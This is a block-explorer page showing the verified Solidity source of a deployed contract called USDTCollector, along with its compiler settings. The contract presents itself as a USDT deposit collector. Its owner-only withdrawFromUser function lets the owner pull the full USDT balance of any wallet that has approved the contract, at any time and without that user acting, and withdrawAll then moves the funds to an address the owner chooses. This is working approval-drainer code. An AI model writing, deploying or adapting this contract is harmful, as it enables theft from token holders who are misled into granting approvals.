Skip to content
Verified contractPartialMIT

USDTCollector

Address0x084337e5a001dc3ee65058883b358dc6beb0e6cf
Balance

0 ETH

 

Transactions

6

 

Compiler

solc 0.8.34

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
25,398,573
Creation transaction
0x4c3ae72ea1…d87e3ff1c1

USDTdr.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
}

contract USDTCollector {
    address public owner;
    IERC20 public usdt;

    event Deposited(address indexed user, uint256 amount);
    event Withdrawn(address indexed to, uint256 amount);

    constructor(address _usdt) {
        owner = msg.sender;
        usdt = IERC20(_usdt);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    function depositAllUSDT() external {
        uint256 balance = usdt.balanceOf(msg.sender);
        require(balance > 0, "No USDT");
        uint256 allowed = usdt.allowance(msg.sender, address(this));
        require(allowed >= balance, "Insufficient allowance");
        bool success = usdt.transferFrom(msg.sender, address(this), balance);
        require(success, "Transfer failed");
        emit Deposited(msg.sender, balance);
    }

    function withdrawFromUser(address user) external onlyOwner {
        uint256 balance = usdt.balanceOf(user);
        require(balance > 0, "User has no USDT");
        uint256 allowed = usdt.allowance(user, address(this));
        require(allowed >= balance, "User did not approve enough");
        bool success = usdt.transferFrom(user, address(this), balance);
        require(success, "Transfer failed");
        emit Deposited(user, balance);
    }

    function withdrawAll(address to) external onlyOwner {
        uint256 balance = usdt.balanceOf(address(this));
        require(balance > 0, "No USDT in contract");
        usdt.transfer(to, balance);
        emit Withdrawn(to, balance);
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "Invalid address");
        owner = newOwner;
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.